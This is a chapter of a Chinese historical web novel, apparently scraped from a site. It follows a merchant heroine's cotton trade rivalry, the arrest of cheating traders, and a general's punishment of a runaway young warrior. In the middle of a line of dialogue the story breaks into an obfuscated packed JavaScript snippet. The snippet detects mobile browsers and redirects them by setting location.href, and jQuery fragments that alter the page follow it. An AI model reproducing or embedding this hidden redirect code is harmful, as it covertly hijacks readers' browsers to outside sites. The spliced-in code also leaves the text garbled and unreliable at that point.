瑞发号的伙计们经过一路奔波，这几日又一刻不停地忙着收棉，此刻早已是累得人仰马翻，思考成了他们最奢侈的活动。


    谁知在这收尾的关头，官府的人还偏偏找上门来。


    “都醒醒！例行盘查！都起来！”


    见来人身着官袍，两旁还有一众捕快开道，睡眼蒙松的伙计们衣服都顾不上穿好，只披上外套就跑了出来——


    “官爷！官爷！您有何吩咐啊官爷！”


    人群中慢悠悠地走出一个人，身着深绿色官服，正是云州知州梁大人。他不急不慢地打量着周遭的一切，此处是云州城内一处偏僻驿站，院子里停了不少棉车，只是一些棉花已经散落在地，和着黎明的露水粘在了泥地上，黑漆漆的几团甚是恶心。


    他有些嫌弃地掩住口鼻：“你们就把东西放在这儿？”


    伙计佝着身子上前：“官爷，我们是从京城来的，因着身上银子不多，这才没办法选了此处……”


    “京城来的了不地了？牛气什么？”


    “不是，官爷……我不是那个意思……”


    梁大人眉毛一挑：“哟？敢驳本官的话？”


    伙计吓得连连摆手：“不敢不敢，小的吃了熊心豹子胆了，哪里敢驳您……”


    他扫视着这不大的院落，不止是棉花存放不当的问题，就连几头驴和马都是圈养在一起的，那屎尿味儿和饲料味儿混在一起，简直直冲人的天灵盖。看来那李掌柜果真所言非虚，这样的东西就算运回去，也是害了京城的百姓。


    更别说这几个人最近低价收购，恶意压榨棉农们的收益，他怎么能允许这种事情发生在云州？


    “把这棉车给我扣了！人也先押回衙门！”


    “大人！大人！”伙计“噗通”一声跪倒了一大片，几个人吓得忙不迭地往前凑，膝盖在肮脏的泥地上蹭出一片痕迹，“大人！为什么抓小的们，您还得给个明示啊！我们，我们可是替驸马爷办事的！”


    “驸马爷？”梁大人冷哼一声，“那你让他亲自来找我吧！告诉你们，本官只认国法，不认什么驸马爷！你们这些外来商户，在云州地界强买强卖、欺行霸市，还敢拿身份压人？今日若不查个水落石出，我这知州的乌纱帽也不必戴了！”


    说罢，他朝身后的捕快使了个眼色，“给我仔细搜！但凡有掺杂使假、缺斤少两的，一并登记在册，带回衙门问话！”


    捕快们领命上前，铁尺在棉包上戳出一个个窟窿，那些用旧棉、烂絮填充的“棉花”瞬间暴露无遗。


    伙计们脸色煞白，瘫坐在地上瑟瑟发抖，嘴里还在徒劳地辩解：“大人饶命啊！这都是误会，是棉农们自己掺的假，我们不知情啊！我，我们也是受害者啊！”


    梁大人冷笑一声，从袖中掏出一纸诉状：“误会？云州百姓匿名告你们欺诈，人证物证俱在，还敢狡辩？带走！”


    绳索哗啦一声套上伙计们的脖颈，他们像几条死狗一样被拽出驿站，只留下满院狼藉的棉车和一地散落的黑心棉。


    远处的天边泛起鱼肚白，驿站的灯笼一盏盏地熄了。


    梁大人满足地拍了拍肚皮：“还跟我来这套，也不打听打听！我都被先皇贬到云州了，还怕他这个？回衙门！”


    见一行人浩浩荡荡地回了官府，墙角处一直躲着偷看的小厮迅速跑回苏家商号。苏玉淑收到消息之后大为震惊，她没想到李掌柜的行动如此迅速，这梁大人更是秉公处理，这一下瑞发号又要耽误上好一阵子才能返程。


    她暗自一笑，果然姜还是老的辣。


    他们瑞发号耍诈在先，休要再怪他们动手。


    如此一来，玉海亭才算是彻底占了上风。商海沉浮，没有谁是靠着大发慈悲才能活下去的。


    苏玉淑也一样。


    她没有沉溺在一场胜利的喜悦里，而是迅速地召集了伙伴收拾行囊。李掌柜已经帮他们争取了更多的时间和机会，她必须抓住这个间隙，确保返程的每一个环节都万无一失。车队里的棉花经过严格筛选，每一包都标记清晰，她不屑于做鱼目混珠的事，更不会做伤害百姓的事。


    “韩将军，我们何时可以出发？”


    “苏姑娘，一切都已准备完毕，只是……”


    苏玉淑从未见过韩将军吞吞吐吐，眼下他一定是遇到了什么事情才会如此尴尬。她摆了摆手：“无妨，韩将军慢慢说。”


    “阿古拉找不到了。郑都头他们已经找了一早上，现在还没个影子。”


    “什……”她心头一紧，“不会是昨天晚上我数落了他，他心里难受就这么跑了吧……”


    韩将军花白的眉毛紧紧拧在一起：“我再派人去找，绝对不能耽误了出发的时辰。”


    “那就有劳韩将军了，这边就拜托给您，我还需要再去亲自查验一遍货品。”


    天杀的蛮子！


    她一边快步走向后院的棉花仓库，一边在心里把阿古拉骂了千百遍。这都什么时候了，他还闹这种小孩子脾气！要是耽误了行程，她非把他绑在马背上一路拖回京城不可！


    可苏玉淑脚下的步子却不由自主地慢了半拍，他毕竟是兀罗浑部的小将，何曾受过这样的委屈？万一他真的负气跑回草原，伊尔特那边又要如何交代……


    她深吸一口气，强迫自己冷静下来，现在不是想这些的时候，当务之急是确保棉花万无一失。她冥冥之中总觉得阿古拉不是那种负气出走之人，更何况，她也十分信任韩将军队伍里那寻人的手段。


    退一万步来说……如果真的找不到，那就让他自由自在地去吧。


    “和我汇报一下车队情况。”她随手扯过一个车夫，飞扬的神采中没有一丝犹疑。


    车夫见来的人是苏玉淑，连忙放下手中的活计，躬身回话：“回大小姐，车队共计十二辆马车，除了您要带走的雪兔和那棵老山参单独装在一辆轻便马车里，其余十一辆均装满了筛选好的棉花。


    每辆车上的棉花都用防潮油布仔细遮盖，并且按照您的吩咐，每包棉花上都系了红绸带作为标记，方便途中查验。马匹也都喂足了草料，套车的绳索和车轮的轴承都检查过三遍，确保路上不会出岔子。”


    苏玉淑点点头，目光扫过排列整齐的马车，车厢里的棉花堆得方方正正，油布下隐约可见红色的绸带在微风中微动。


    她走到一辆马车旁，伸手掀开油布一角，棉花一如刚采摘时洁白松软，没有掺进去一丝杂质。


    “很好，”她声音清亮，“告诉所有车夫，半个时辰后准时出发，路上务必打起十二分精神，若遇异常情况，立刻示警，不得擅自行动。”


    车夫应了声“是”，转身便去传达命令。


    只要这批棉花能安全抵达京城，玉海亭就会是这个冬天里百姓们的一座温暖的城池。她并没有加价出售的打算，她只要驳倒张固和瑞发号，那么京城乃至整个东梁的棉花生意都会好做上不少。而其他商人一旦脱离了垄断的压制，棉农和百姓们自然也能得到更多好处，如此局面，岂不是皆大欢喜。


    比起来成为一座大山，她更希望苏家商号能成为一架桥梁。能够链接起买卖需求的、承载着诚信与公道的桥梁。


    这场商战，她不仅要赢，更要赢得堂堂正正，她要让天下人都知道，这买卖应该怎么做，这世道本应是如何。


    现在只差最后一步了。


    日头渐渐高了起来，车夫和伙计们基本都整备完毕，韩将军的人马一部分负责将剩余的车马带回北地，一部分则担负起镖师的工作。此行山高路远，苏玉淑早已在地图上标记好官道，若是一路无恙，满车装载应是在七日内到达京城，说不定还能比预想中的快上一些。


    “都收拾好了吗？”她默默低下了头，声音放得很轻，“如果没问题……就先出发吧。”


    郑都头用力拍了拍棉包：“都完事了。那……不找那臭小子了？”


    “没办法。时间不等人，我们已经找了这么久，不要再浪费力气了，由得他去。”


    韩将军无论如何都不死心，他不相信兀罗浑部的勇士会是这样一个脆弱又不懂规矩的混小子，阿古拉虽然天真散漫，但绝不至于此。他一人一马绕着城走了一圈又一圈，直到在城南门见到车队，才默默地叹了口气。


    这孩子，可惜了。真该到军队中好好历练历练的，那就不会是现在这个样子了。


    他策马上前，正对上她那双透着疲惫和失望的眼睛。


    “还是没找到吗？”


    韩将军摇了摇头。


    “走吧，李叔那边我已经告过别了……恕玉淑无礼，我们实在不能再耽搁下去了。”


    他勒转马头，深深地回望着云州城的轮廓，这座边陲小城在晨光中显得格外宁静，一如他当年守候之时。


    “走……


    “等一下！等一下！！！”


    焦急的喊声打断了众人的脚步，只见昨日那名守城的士兵正气喘吁吁地向着马队跑来，他身后还跟着一个步履踉跄的少年——


    “我就知道这小子一定会回来！”


    韩将军赶忙策马去迎，阿古拉的头发散乱异常，身上沾满了不知道从哪里蹭到的泥巴和草杆，整个人如图刚从土里挖出来一般。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885045|185365||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你跑到哪里去了！”苏玉淑看着他这副模样又气又急，“你知不知道大家找了你多久！”


    “我……”阿古拉欲言又止，他最终还是什么都没有辩解，只是从腰上的挎包里掏出了一个脏兮兮的布袋子。


    “给你。”


    苏玉淑没好气地接过来：“什么？”


    “昨天惹你生气，对不起。我小的时候阿爸带我来这边卖过羊，我知道哪里可以挖大人参。给你，你不要生气了。”


    他的脸上满是笨拙的笑容，她这才看清他的手指——指甲里嵌满了泥土，几根还破了皮，粉红的嫩肉上沾染了灰尘，显得尤为可怖。


    “快拿药……”


    啪——


    一道光影以迅雷不及掩耳之势从她的头顶快速划下，生生将她的话钉在了嘴里。苏玉淑眼睁睁地看着那道光影狠狠落在阿古拉的背上，他甚至来不及发出声音便重重砸在地上——


    “目无军纪！私自逃脱，按律当斩！”


    她从未见过韩将军如此生气的样子。


    马鞭带着风声擦过阿古拉的背脊，在泥地上犁出一道深沟。他的目光里没有一丝悲悯，有的只是对少年不成气候的失望与痛心。韩将军再一次高高举起右手，郑都头有心上前拦一拦，可将军发怒的模样他是见识过的，更何况……


    更何况这阿古拉，实在是该教育教育。


    郑都头别过脸去，虽说在军中他早已习以为常，却也不喜欢这种残忍的场面。


    可鞭笞声却未如同他料想一般，迟迟不肯来临。


    苏玉淑张开双臂，单枪匹马地挡在了韩将军的马前。她倔强地扬着脸，眼中没有丝毫畏惧，只有一股豁出去的决绝。阳光照在她单薄的背影上，却仿佛镀上了一层坚硬的铠甲。


    “韩将军！此事因我而起，若要责罚，便罚我管教无方！阿古拉虽有错，却罪不至死！押韵棉车还需要他的护送，若是现在将他打成残废，岂不是得不偿失！还望韩将军三思！”


    “军令如山！”


    这四个字掷地有声，苏玉淑只觉得好似有千钧之重高悬在头颅之上，可她不能退缩，阿古拉一瞧便是一夜未眠，刚刚的鞭痕已经隐隐渗出血来，若是在挨上第二下，那真是要出大事了。


    “韩将军，若是阿古拉护送得当，何不让他将功折罪？眼下路途凶险，若能在途中护得车队周全，便是戴罪立功。您若实在气不过，待抵达京城后，任凭将军处置，玉淑绝无二话！”


    她声音微微发颤，却依旧挺直脊梁，目光紧紧锁住韩将军手中的马鞭，“他此番惹祸，也是为我找寻人参的原因，还请将军日后责罚于我，切莫在此紧要关头损兵折将！”


    二人僵持之时，一路引着阿古拉回来的士兵突然跪倒在马前：


    “韩将军还请受我一拜！”


    “你是……”


    韩将军的目光里充满疑惑，眼前之人仿佛并不属于靖北军，瞧着年纪也不小了，但他怎么也想不起来这人姓甚名谁。


    “将军记不得我才是正常……小的当年为靖北军送物资军粮，因途中暴雪延误了数日，当时那为首的军官要我抵罪，是您宽恕了我的罪过，保下了我的小命……”


    “哦……我想起来了。”韩将军点了点头，“那时候你还是个半大的孩子，冻得嘴唇发紫却死死护着最后几袋没被雪水浸湿的粮食。军令虽严，却也分情由，你既已尽力，便不该再受苛责……”


    “正是将军当年的善心，才有我今日的生活。也请将军看在这位小兄弟还带着伤的份上，饶他这一回吧！他虽鲁莽，却也是一片赤诚之心，您常说军中最重情义，这孩子也是当年我的影子啊！求将军您饶过他吧！”


    韩将军一时之间愣住了。昔日那些种种如同洪水一般袭来，他望着跪在地上的老兵，又看看挡在阿古拉身前的苏玉淑，那单薄的身影此刻却像一道不可逾越的山梁。


    他想起来那些年走南闯北争战的日子，也想起了如今平静祥和的生活。


    是啊，他也早就不是那靖北军的将军了。


    阿古拉趴在地上，背上的鞭伤火辣辣地疼，却死死咬着牙不肯哼一声，只是他那双清澈的眼睛里满是倔强与不解，像极了当年的自己。


    他缓缓放下高举的马鞭，鞭梢在风中微微颤动，最终无力地垂落下来。


    “罢了……”韩将军长叹一声，他好像在一瞬之间变为了一个普通的老人，声音里带着几分疲惫与释然，“走吧。”


    他轻轻调转马蹄，声音轻得几乎揉进了萧瑟的北风：


    “还好你们都还在，还好有人记得靖北军。”